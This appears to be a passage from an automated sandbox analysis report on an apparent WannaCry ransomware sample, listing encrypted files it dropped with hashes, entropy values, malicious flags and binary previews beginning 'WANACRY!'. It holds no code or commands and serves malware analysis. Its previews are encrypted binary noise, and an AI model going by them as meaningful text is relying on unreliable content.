                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{fd8f40a4-ac14-48d6-9ef0-afd19dd2a012}\0.2.filtertrie.intermediate.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):296
                                                                                                                        Entropy (8bit):7.097029378128088
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEmSe9zcZpsXf4INT16dRjUdzL87XfCnBOuPerEWXYUZgDg6XlxLw6fQoDE:bkEHOsp2fTNTM7jWX87vC8uUeDg6XTwN
                                                                                                                        MD5:1E7035AC264161155E9D6BE5806B233D
                                                                                                                        SHA1:18121D8FF2881071FFF7BD4F1473A413DE569F10
                                                                                                                        SHA-256:48F6C86733411876CF084DF6BF8B065BF40736836194DCBCED6B888078899397
                                                                                                                        SHA-512:A8016E62B1AC4D7DE1F96B813B6EC0C1457D658DFFFEA9549F64B7B687334BCC917200DDB25422C2F024332A737265CE1448D26D2BEC75E557625CD9579417D6
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....,/..!l.7E.....7=.]..|...X.B..K...r.....]7.y..Zy.w..5.46.....l.._..qZ.'C.9..~\.J..M.7.V)yW.y..B1..7).d.U.3..D~.Z.../q.D...?h.t.s..3.]..U....|..r..j.A..KAS...&... .I..Z.L..7..U....z..B.....*...3.*........)w......t..........W.2..C..o..E0..8...............v:"..p|l..v..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133763994789466116.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):113240
                                                                                                                        Entropy (8bit):7.9983980511122645
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:vw0HnGe4CQUfNqzGOHg8SiZXju5J/rq/IzyF22NJ:Y0HnGTbUfEDDFpju5tqr
                                                                                                                        MD5:F7A0CC84117D1E3EEC3831043CB8A7A0
                                                                                                                        SHA1:158CA18BF54E935FAD3E8A5DEE960276612FE2D9
                                                                                                                        SHA-256:5C558917135D918DE95B4C62EFED429582A4B0BFB4FB6A82F73DD296A8766D91
                                                                                                                        SHA-512:5360B12E5E514E132EAB0CD9E3E663169348F0954EB3B8CA8B6EDCBAE6DF6AA5B309B9437B392782F24526CCEE75BE5B6305B78BB8F9C7F970D8E5DAB7B0BD60
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.......Q.wQX....0.2..yR.5..XS..q....}.{......iV.RU.....&../.......u....43.a...A....P...:.9A.a:/...D...4..+...w_J6.r..p.6E.+. .-..*.vMlB....b.(..{..0...H.=......Ant......y..VS..._....Mu.0Z6...rsj|cn..$,.5`..=.".|...T!..;..M.\V..et/+p..G...AF[-.T.L.........<.......5x.-.a....T.z....+Y2..'"..?MX.n+T..F.J..,..4m.4..k..T..c@*..Z.=..2...i.X.0.f.`.W.r.wou.D}.Q..G.-.....|.94.!......N..X..d...7.B..b...q..@...i3...T[v[.m=.n.Z.....@.[(^..Z......l.C**c...D..CD..4...}..........a....@..iWt..Z......e.x.VO..l..X..`.e...G..9..4....e.N......z...0..x...mk=.....'./M............0w.@A.M#........c.9x.....T0..%...WM-.1Cs.~/..*+....L.d...>d..n`..c..L.s.~.1..............].@Odg.......DFp....F8...Fw...D..T..z..N.._..!.l.*.tZ&...=....R.\..-....1Y...uy.%.A.h*.I....zI..l:.....5$.w......c9P....;......)..X}.G.I..Kq....a..&.x...r...*..-oq.p."+.6Th.+T..-..6...4..VBd...k.2...L..h.....~..\..Al..v...)..N ...,.L.51>..0"..g..,..0-..,...n...].|^..Q.q.t4C..L...{...2#)

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133808174611432328.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):113240
                                                                                                                        Entropy (8bit):7.99837051778171
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:ScPDsn+4doMOMgFqg1RmFlQJqViv4E6CDmCZlB4pC4:7wmMO/qgvfgrCDXLBCz
                                                                                                                        MD5:DE3205BF188156DDE91275192D8EA3FE
                                                                                                                        SHA1:44FF2AA806157776A5EF7AC42F8C0FBE76C05EE9
                                                                                                                        SHA-256:BB3138B52B920E8BDE8365B567A11A757D79282C22EEF281A29926DF222BB47B
                                                                                                                        SHA-512:6C4286EC6D60B0EC7A39E0E8853512251617C8E2DE249D798AE22F5FD6FC02D49462E9EAA353932B90917D2ED88D5773F2646DEB9EB200A0D42D16CEC264E112
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....;...V^S...%7f@LU....$.R..z.t.<.}..7.2.d.z.{....0.......Tu.].s......x=...SG.."A.K.=.g....3{.N........t7..6...a[X...^..H.....a..S..+nJ....3.(.:...2..N... ....s.x....p?n...2./l..g.?l.H..... 6P.-....B..~~.+u_ri>0..$.<."....#......w.M./j..........yp..v....<........N...d......H.7..|.. RZ...5..lT.g.C.%/.k@XRP.</....J/..A.I..8... ....P...L.7`.BV..O......w.Vk, ...g....Y.qG.......b ..Tm.....G...E.U=eGK.........7.t........=.....6C...w..J..N.Jn..I.....#.O...^.%.........0.J..ztK....d.Q..i.....YN6......D ys0M..?..X........Z..}~.[./YHT.Ge..nrs.".3..0..l.5...s.......Nu.....J...K..ef...7AD.|d.F^.7.J.....U.#..E.q..^.~/..]..d.v.......Q..r.\....+.7...}.M....0....^...W#.5.t...M;_.......L...^i.6]...@.dZYHq.wB....)..-.j.0...5...9..":z..K.Ne..kX..s..!....D.RU..X.~..uW.fDw..]..^].......gc..I.@.i...@k........l.Y..8'#.. ..[nyw....\5._.o......ragB......+.mev.B>X`!.p..H.A@w.2$..U.@.p..{.S......\...f.`F9.pz...4....q...l...".."q'(8. .>B..r.A...!.E.d(..K.<<..h..

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133808175717819293.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):111960
                                                                                                                        Entropy (8bit):7.998519977257995
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:lrZOh+pRgIUzABtODqtUu9Lx7xKRTZGyJ28P3u99:lch+p7Zq+UoLlxcVfvuz
                                                                                                                        MD5:9E1FE65D5BEB75FF864B4138E1276F7E
                                                                                                                        SHA1:9C6F94649E8E2FF7EBBDB27B6A0194C8600B7050
                                                                                                                        SHA-256:86F04ED5BB17A0A542C50651F5F18C7EFF6D5FE1AEDC762DCD7DA3561837FD92
                                                                                                                        SHA-512:B12E5EDECF33515E935B8B608F8110E64E3EFF9E7493420284EC8035C5F5309545160868F3CEF1E33C8E3651F8AFD41556D19D2A72F5D8BFDA5FE37A50D423D5
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....<..M..=."..."@..i...$RD.Q..4.ii...N....q..%....9.......%.e..W..#..lB.!....i....._f..P.M......Ql.q..C..[..m..dz...-..j.i..V3..mM)_....q.......I,....X.*3.]...S...N.@u$.@!..`.*e._O.A..CQ70"..H.k}C.y.x.|.....C..i..... .........9}.-..Y.u.#-.:<.3....<........K...h.Qod.%.h$,........H.p8.).*.}s|.v..Y.S.Z.d9!...6`<.g......uG..P.O.#.a.pA.J..&Wb.Az...nN%R....[.....[.U......uc.WjDB=..53.[r(...O......E.H.\ d5...'Ad.F.8....71.. h.rR.[(e...A. .^X.g.Zn.t...6.>....F]NF.0.m7.......K....O-:.A}.).&..5[G]...M...V..@..c-.t.B.3.t...~.)..?^}[.o.{.....Qk..@....IbIt..z.F...{iz..5....5.'F~V....*bk..K...0.....:*..v%g.#\.I.2.w..{.v&..m.o.7.x.v..).#.6.g...^.0.....wE'l.?......b..b.<l.Zy......Y.8.u....(......S7...f.G.!..5...E.u..WE....~.f..*.pj..e.I.0L.i.r... .Cp.S...(v.. M.{S.#ptz.r..AR..Zp6.9'.|.....s.H'..Ot.(z.Y...i...R...,.....U.Q...z..N.m.3.'......".Z?.......\O. !...ybm\.Q:...w#R.P....7..K.?H.i.K.OP.....q......o-..r....Ov.vs..H.%b....6..K.j...r.bW.=.L

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133808392021723241.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):111960
                                                                                                                        Entropy (8bit):7.9985057398489054
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:sAGE4gnBWo14m7qLz5ph/DFCpnlRDcmszPWs6:1/nOBDvKl9JszOh
                                                                                                                        MD5:E2E5F6B93BC7ABB4E90D728F025D67D6
                                                                                                                        SHA1:5A0ED2CB0B084A83544F352C60B4D69EB0FF9D38
                                                                                                                        SHA-256:52F803431485568BFC4ECBBBAED963FF3449C3F7DD74C850D6A1FB2B8FB186C3
                                                                                                                        SHA-512:80A3B35F9FB78A830A2E998ACA0E6BFA474011C2AA6398BE87B7EBBE328AF566F82D545D7CD17E7EDA4C1AA38CED2471994B1A03435C0CA4665AF980FCB51201
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....bI.T..G.........M.,.n...-r;.........ax..[.]E.h....YP..W.s....I.'-.>.]I.G.Y..g.@{.....B80..v.....c....(..vA.,.g...dOl...V~..D[......m.O...f.E.....zT..6S.W.]{..Y.m!..[.*.H....'.....%x.#3.L[S.c..$S.._.J....o.x;=_.|.......3S..cE.N.w.Z.....6.]?7h......<........6N.o..,...I..._..[.51.;..kl.z...+.!..(.!...Q..iY...]..$L..p<.>?..%G.:.5.Emv...-f........Mr...H...h-._P.A.X..qabh.ZT9.......a)...."<...MQ<.T.....1.mhF.....q_. f....8.s.r......I.-.Pz<.7....X......W.{....r..K..I....M...:....p.l..y%L...0...Q.r{f"..i.|px|..Qj-..K;z/.'.-3..y...lwL.F.=.Y..(..].X....g.kE..=O?k..$.%s..;.dg.u......K........`C.n..;v.....@K2....C......0Vq..^.....I.G......#..L.....MXka8!=....h..?.....c\.6..zf.k.=..AC'wd.T.1...i0.....T.....gO6.E.K!.P.....O'......<...9$..E#....w$..A...>.7...}...#..m5.=......C..4../..., ..|.!......e%.&)..{....4........SY..~..Y4.zY%.....l.)..QG....@...9^....xP....qT.h...OI+m..D,....c...O...n.?y.o....*.#.T.>Xa.Hi.....o.~..t.~OV.&..lN....c.

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133808392321679645.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):111960
                                                                                                                        Entropy (8bit):7.998455340143691
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:MSkQ6kZDptZkTpTwOdQ/bCAmE/vHKrkIn+8uScxxY6:MSkrg2VTwHfhHT4+8uScxxY6
                                                                                                                        MD5:6819C3459735FA1FF86DC230320DE159
                                                                                                                        SHA1:45DB151A2114108FA1D53F0501D97FCBE64307D8
                                                                                                                        SHA-256:17E89535AB02F3408D361DCAF0104C074488F9F72FB3947EE1733040D64F39BB
                                                                                                                        SHA-512:D02666007EC67CDE6883D57DE772D37D9133ECCD21A72BAADEE3BCCB10CD06FCF968966F711DA09381EEB3D1D990495D34A6C920DBA35904E014149951EBA7B6
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......~}k...B.czS......ho..>[.._....@.U..F............k..[..4.U...u.l.i'9.:......W.[f.v.U&.....JG.a1m..Kph........J..P[....-..>..]._...~..r........A..-......&....b..U.)..E..gqh....G^A.+=..q..............ht....QX?E...D..?m.<.(O.yR.=..I.......C.~.@g.....<.......Y..L0.Z...a..p?d;M..R..q-0g3..t.P.+..|ow0./..+...l4.*.L...[4.T7oX.;..t6#T..p.*..(D.=F^"}.9|.}c.9>..=..sb..B..^Sr.x..1.6...fY^c..>n\.....6g.M.$...^....Rh.......X.Ef3.T..;.B.O..+Y....c*.~....H...2s..2.l`..3.\..K..n ...K.2...y.... s..C..N.=.p.......'S..x...M..}<....I...&.Q2.."....@5P[V.E2=......p......J......{Y...K.:...#..~.N2....SB2...5h`......5)m.c.[...Bq..5.+...q.....?Z..]y....o.Q.........;....Q.9.[.#\}....LM....=.aU:a.M4..p.......)....V..i0....].]...x8.._..;.@;T...*.=IP.....D.....>.....Q...Sb.]Z.D...C..9hs..^.....1@^.Z.V.m..b.l.S...........w.....!....F<.*..9.+..:.p...#.'...08...y...5.L......d.K..u.g..^..b..&.p."..#...../.@.E....3<..7......e...O3..........>U.sY....m.W.iF.......j

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133808392621763174.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):111960
                                                                                                                        Entropy (8bit):7.9984692416027565
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:1536:kDxny7feS1EJBOV1wd2r7yf/KBObIXw2MqB1qjzFKHTMd9RzBFe5jI+YJpWMDOmt:wnWKJBI7IIXsWOzFKIVz7eq+u/zdKQ
                                                                                                                        MD5:C3B8B0DD735455A1F1765ABEBEADF23B
                                                                                                                        SHA1:310A500F14D43BB7F275C7FF4D22DA9E917CFA5A
                                                                                                                        SHA-256:4CBADF0EFAE54085DA3AE970D56EB976548E52DBC05D9A3A0AF66D92FE7017B0
                                                                                                                        SHA-512:5069BE3856C3842F297AD6F2B45FE4B1807D222FAA5D729B1CA471D97761C5A4959C916A1FE4CBA1931405913BA4E8A120FFCF3DF9F12CF07ACF2A21944410FC
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....Z....a..I[.c....-BI.P......A.e.]..~... h.....jXa..,...G..`g...2....*.o.4A~.1(....YS<%..[Hw..c'...n^e......H...._...B.<....x48*..._.5..5V.G.._.9....s..mV.. ]......0.*).%.WI.......:.8........T.#..KN....=PGk..!.....U.`.lL...g..Ky..N...........<.........^..f.d.&...fhXC_....=Dj.u..q....h...gj.........<.M...BK..X.....d.7..^.!&..2...=..>.p....~..*..t.,Wtxl...yC..oZQ..y.,.....:..:.,.j.#..G..a..\..E.h.J.!...]......]F.L..A=.ISQRF..5.b..q.%....b.......H.K....oc.~.:.-G.o..3...[.cv..2d&(...Og..6.v..{;..)..._..DG.y-..B.....BD,j.h~.B.E.....4.S<.:....@......l...2.K...*e}.^|......j.+=..'.>@...ey....l.......]..4.;..:....m....C.....I^. @_.L.">.`..i...x%.R+.LJ:..t.?..?T..\.\.tC..?.....c(.Ip....u@]......}...D..?l.a....V....5..........L...\..Ih....?V.....GX..+....:j.......\bp.HK.n....!....Y.F.0.d.w........W2.....?.-...,.o5.....F...U....G%34.%.%Nb.I.P4.'.g......n .N...[>....{...~.m.k.;d..>.....?)".?..i..{.T.3^.....:.^"..V,....6..jmX/.7....p.....

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):690472
                                                                                                                        Entropy (8bit):7.9997155310988095
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:12288:XLxd9Gt+ZUVCxHm/Z+4CrZUbMFp+3UWQUKcEspVKyJzb6HZlyJWfZFZ9uvJCo6Fl:XLrIyUVFRDCrAM+O5c1pdJzO5l/rfgCb
                                                                                                                        MD5:8D0D74AFB3B0F498C80305483A24985B
                                                                                                                        SHA1:5B45509BD7EB862A2CB1C2423762A85F5AB9E59A
                                                                                                                        SHA-256:3996E8F77FB8A104839730393B217D95833D6DE39D5A5D053C55C2594840A659
                                                                                                                        SHA-512:07EB5C996D6FABA6E947C220A7636530140675F4D54725C223FE1AB92247382BB1450552DCDD6E837CF88E35337AC60C21E5D0E61680694DF9109AB1CB8C24AC
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....4rb.|#.$...d!. .J}..6d..j.;Jn....v.OQ.p.+,jY.lNQ..m....iP.1.k.j...8.6...Y;.Wn.P....._.._9..E/..r..`.6.'..#.|...U......./.<3+.TF.;...P.E.....yN.n...='t."8bq.D.Y.#.V..u.Ca...u.w...@..7K\.b#Pd...g.)y........p..7.;w..O..y..0j.Y.6j..z..{w...F.om...=@.!c............OV=..G..=../.\.{b....9...E.fE'..k...Ee.n.._S.[3.~......b4...8.v.S_.1.0......c.K..uo.<..C....;C..".p....Iu-[8.=.5.M...{C....u..D....W.).!oa.L..L...U....>h3....a.X..S.....;..^.Qh...x:.G..4~.-[.e.GY.;..a>..Z..LFZ.#3?&.e....,.....w.b.q,^..k...;...]`.A..SW..=.(.su'~....R.F..MG........~.I....)6......^d."1f.....u....t.L>5..0.w.K[...=.{T...dJ.kS.Qr...\....~..../..)nNt.a.?.^.W....L.LaJI..q...n...i.....bIT.{..y?....0.k...A/f.$.!.T.X.a-...\+...!.>..3...r7.\q....^.Fl.{%......[......q.7..y.<....{...Q.......g......t..0.%..R..j...4..WQM.Y...}.m..yX.7.:kT..o.N.8T.]..A..0.F[..d'.|3.y....V.4-.p....F}r=.+p!i#.....0M5.k....8...hl.....+....<...qK..b....(B..)....6w.c: ......\...}...>&....5.[...30f....8

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\Flighting\FlightingLogging.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):3352
                                                                                                                        Entropy (8bit):7.930802682380753
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:oH8mJ8D33gEQSedIckevUvuC4/qDQwTI9bNCeQ0Jp:y8mJQlDtfUFcrU
                                                                                                                        MD5:E3D1BB6D13B6E87999F523E5A3C4270B
                                                                                                                        SHA1:0FCE2317AEFBDA03553FC947D111EF9DD5E31CB8
                                                                                                                        SHA-256:2B73062ADE26C23B6DF22F4B72A2860236792DD31DC2D116711E591350685328
                                                                                                                        SHA-512:A86E84E3771FCFD285567B93FDE2CED8C3A22BCFB1AAAEBD9309DE606F8F5EB7D2A1F9315CBE327051EFBAC8C403519BD268EABD5B7981DB899CD76E07304EA5
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......G..........V.=.Y-.........W..H,&.y\......<Qp6.....-=!41..$.A/.;....9.....=.V.............k(.3...$..^.Q..Z..Z.....J..#Jjt..D.E0...O5{)......Y.E....)6yh..,J..lE[q.._%......<.}..fx.....}..qp.P-.A+...$oz#[ek.M.....".@[..Nx....^.d....)...dc.&............9..:.....b...*..J.....x..."..*...P.q...,S....PQ>.-..K.#....P..<v.2[...B..I..r..m...te.{tg.#|..\.v..d.m.$F...i<.-&.{....D.........n/..=..HF.i..#._..H..?_..e..r.#..Tg,.....XrNYR.3....(.S....W...n.h&.........e.........fL....F.C.5-..........M<,._.A.......{.hf.B3...&..w%;...35D..@..z.%...~.W.hIs.\..../.0...3K.y.D...ks...Tf..*.%.3.'....wJ&..5._*..-...h-.(....H yEf......s...t.D.......M&..#..&.u..e...5..$"....d..(g&U...Wp....V.C[...`..T$....*..Qv... .-.y.a-.\.)..U.CZ.L...-.'...........$<.92..C..u.*0,..#.......m.2.J{]...P..*.. .-..Q....#NYT.^..|..O&Q..z..P.nVq%..M.Vx...\?..Tj.d.._u....?.0hf............pM.4..g....g/.R..=j......'m..ke;..[...."0.....be.2.......'l^..{H..S.0.H...^.5c^

                                                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\LocalState\DiagOutputDir\LogFile_August_18_2021__5_27_51.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):568
                                                                                                                        Entropy (8bit):7.617774311745278
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:bkEJLeM5KaYBSyA4hkCLT6z29fkQfMi+VYvdCwewyGHHINbCen:bky5KaYB+gkKT6C99fflCnGHoNbl
                                                                                                                        MD5:DC731011E4D2122ADAACD269B8827081
                                                                                                                        SHA1:CD95F0397001E4FC0BCFDCF53E9C923E76B031BD
                                                                                                                        SHA-256:F0B823FBBF73B9E64E669D27E13262C2D94248ABB4ADA00B1AD92D22BED971A9
                                                                                                                        SHA-512:6AAA3087B7B7DF2169400712746C9E682CA65B63CC5EEE525E84735F52DE9B725442982E6DB48DC8CE02199FA75C04BCE843A7A14B917D31F2D7A0D161F5DBBE
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......d.[:%.......q..]..6G.t..;V....iu..`u.L(.1u..[...Az..N.=g.D...y49....._..L.-..K.kP..O.0....^.DA1.[.O.b)....Lz..N..wZ\s...e.O.*.U..........O.9......$.;xk.I=,<x.,5...A.}.@LZ...X.(.>.e......o6+.,.1mLd..p..S}j.C..~.n=....^.w...~W..h9...B..gQ..x..'..}.`.............&+......=.n....Pl..`.U.s2..%.L....k..........@?>xW.RU)..<...M...ih.w..1.dk...0!.@bb..:... ..m..X%..V....9..#.^.^..{p.]...[T..,u.5.m...q....<.,,p..R...$..FF"^^P..Y2T=m.;_)c.LP\.....W..5.C..$.J.............Fs(.......'{..b..+.....J/.[......U(VR....%......#..p.4..;.v...]D...xP'..

                                                                                                                        C:\Users\user\AppData\Local\Temp\0.WNCRYT (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.808005484082637
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:6sST5e+N1sL0j17r8AqncSBdlBa4SFdj2hgrVOu:6sST5lgXddlveZoPu
                                                                                                                        MD5:42A3856076D25F46B603033156EFE015
                                                                                                                        SHA1:954BEA38374152C641DEB68C6FD34C36F68AC706
                                                                                                                        SHA-256:460269EC12823BD7726CDA72AEE874C7F56699899EA9413B9DE84A96FC09FB44
                                                                                                                        SHA-512:00198B7F80CDBB5C8E4F93E7CA1BB816D8AF784E645750DDA39BFC250A06B909B8C60B50B1BEB77D1E18E26EB30223F0A388397AABFBE67C28DCB83B9933585C
                                                                                                                        Malicious:false
                                                                                                                        Preview:..ZO.]u.M.W[k_.-.1R..J.CTY,xw.........$8.vB......Y....3...r1G.I.C.m.-.1.?(El.mr...n...._.C..:....\w..`..:.6d.#...h.8.7..wn..\..X._..@..KI...ud.#..T6..`.o$'U.\.0....(.o5....M.w...&P.%.W~E...l3\..-..,."ot.q.....=..<_..,n..vjmN..U..UE...5h.r.0a........q8.hJU4..\.....}z.o[.....[<.lf.s=.B.....?..;.kCu..[.....(~).d]T...P..~e....Y.SrY.c..h...s..&..v..V.:....Quz..h.^..3@q.i^.99...R!......t:3%...^.....,.&|G.).;..`.8..C.k$..=.&%..`..@I....W_jX}.$.K..}..sX..f.CV`B.U.)QrY.r\....-.?.....$9X.7t.=]..I..b.]......<.zew..R.-W$gZ_(..2..F>Q.=.."..I.Qy.....}.[6..Aa...1.!.."..mzt...`..0..>;.#.3.I..<).=Lk.cC`Bv8..K.<.vN..b.yf..D.....J.....zF...Q>{..j...F.]...|..B...uE.G.......R.....s...i..D.|n.3...^.a...3.W.4. ......FH+...k.f...qz....W.(:Rt..n..`|.0\N.Um.s...M....z.g........g..[Z.IKr..! .KL..PU....-...]$2d....b..m..`Q@@..7.@.NQ_....7t......Bg..=......8a~6..e....Q.]......iM......s.$.:$...cg_}..h.i.R...:......%:...t.=.V;Q.\...R&.Ew..gV.]...&b.e....g.I.oN..jAPN....

                                                                                                                        C:\Users\user\AppData\Local\Temp\1.WNCRYT (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.815591993977061
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:tzXGBteluKgHbQXH9j4ft6N/45NGsRRgJqGOPwn:dWBtAtgMNjKt+AnGVJqGOPwn
                                                                                                                        MD5:2D49930301151F8620E16A2AB93F51B8
                                                                                                                        SHA1:54AE10FD6CD1AE51DCC6CB9560B48881F0C7F872
                                                                                                                        SHA-256:833B147407A6E5C6762B9355A549E4318BC5DCE735BF23B83D9BA8889E397FFB
                                                                                                                        SHA-512:896929B576E065574993FB2C8CBA3C0D4F48D48FF5D6ACED9DD50D59B017212C0A02DB038F067CAFDEC33487C9A835A84E938E156558C7B080B45F63D9CDAC57
                                                                                                                        Malicious:false
                                                                                                                        Preview:...i....]..+P/..g._......./i..;LN.R.z..<.f?%].E.....`.H...!.PW..jS...H.........d.S".V.....:...T.$..@'Z..'.X.....P.1L..&3'GV.i.$..2.vxl.?..+.T......l%./:W.Ce.mEd.(c...a..%./1..E..61..?..V'D.....=......B]4.....|.Z.{._.1)i..|[0,.xl \..A.....,.j...._...6d8-...d..!......0.eQ"T%-D/:.r..E..-....Y_.jCI[..-....m.1.z X.\...<.......E....O.H...w8............y......K).._.."3..8o...lpGY..F....3G}`I.......T..ra....9....u2.....4.........=.......T.t....n.!4...._r....s..#..F,.C..V..y..gr..PsK.S5....M.@..C{4.{.+.6.!...#...XX$"...G.....+.0....$..zus...%.r">x.@..1.r....$.E/.9..u...H.^....%...0...B~!.d8.3.m`1J.b.......)..g.x.ztXK..8...|....s..#...n....#.e.c..ql....i(..o.@F@...;3.N....:.N{..*r.x..H3sK.4....[...... .q...?..xZ:.....5g.3 .rM fD..D.}!.1d.|'r..X.{..R......)......._........ku6....B3.-.k.._|i.n.xG.\.E.+B1k.5....[..v.`.Go....7.!t...$[.b.......6.....z!...>.b.p........j.bE]...Pcf..l.C...U..I.\.T...q.......d)4QB. .rO.n.q}..d..N...P..N v.T.!e!g..+.;c...I.@Z..

                                                                                                                        C:\Users\user\AppData\Local\Temp\10.WNCRYT (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.811197380119688
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:q+f/ggBsdGKU9p4QDwO8KnHqv8khqxDjJuMtS5:OHgN9WSqESmDltK
                                                                                                                        MD5:26C76BCEBE805BEFF9332AC1DC48CA73
                                                                                                                        SHA1:0B8B0EB633AD057AACB1D9348E50A9F6506E81DC
                                                                                                                        SHA-256:077148453C0E9ECAA6C891FB5F28830245E82FC8E190D84C37F1DF3229A4E5A5
                                                                                                                        SHA-512:AF5BF6CDE3E6672290E052DFAF978FDCF7B5CE0453BD7C509B44DBF143E41AECD82E71988FEA8D64E5E29D1A0FE9A2BCC3E3DA003C83C9DA1DF64C23DF525075
                                                                                                                        Malicious:false
                                                                                                                        Preview:...+=..@./@v..Qm..r...m.1..mF.AI.o....)....y..w."A.Y..&!{........,.He]U..3.]w=.........|..$...l.|.Lf.0.\..@.I.K.v.D.i.y>p.....^..*i.j.Rv/....:.r&....Yp......=g......U....o....`..j^.J.p..F.8~_..SwR....a.Sp...'.4.......Q...&....p......D.'&.c3;..7......0....#Q........"...z.....1 o7..m~.4U..}.....=.H:+....Ab:&.]S$P=..I.m...}..}e.....04..M#..U7H...T|....pqw.@........I.L.L.p..K.....Y....M.... .-.n...i...g..E...l......py.....Y......S...n...N...@&.U...mSD..y1.s.D......{.??.:....z......p...S.l.....d.[m@n...[.....~..0..$1...4...G.C............ac..>..[*.YF............P.4..a.$.Q..'.C.R?.Fp...)....8..c.!2D..W.l..b.,e..zS....K.]......../..,..)u9.w.r*...2.f2....b.....g..q.E."j.?.-...2...H......Ka.o.".......u..R\]..2#.).|n..I....}z.....ZD.W3..].}...;"..F.h[Xe/...;...p.....c.+...g.....'97`9i...M..n..N.;..8g95...5N...\..sXe...Fe..*......C.x..g...mQTI...H.j....8.j..E.....k.%t!..G*..4dl/.V..g..]$...El......t.....qM3z...CT}S6.R.J.s......8.T....;.8S.

                                                                                                                        C:\Users\user\AppData\Local\Temp\11.WNCRYT (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.817537896942761
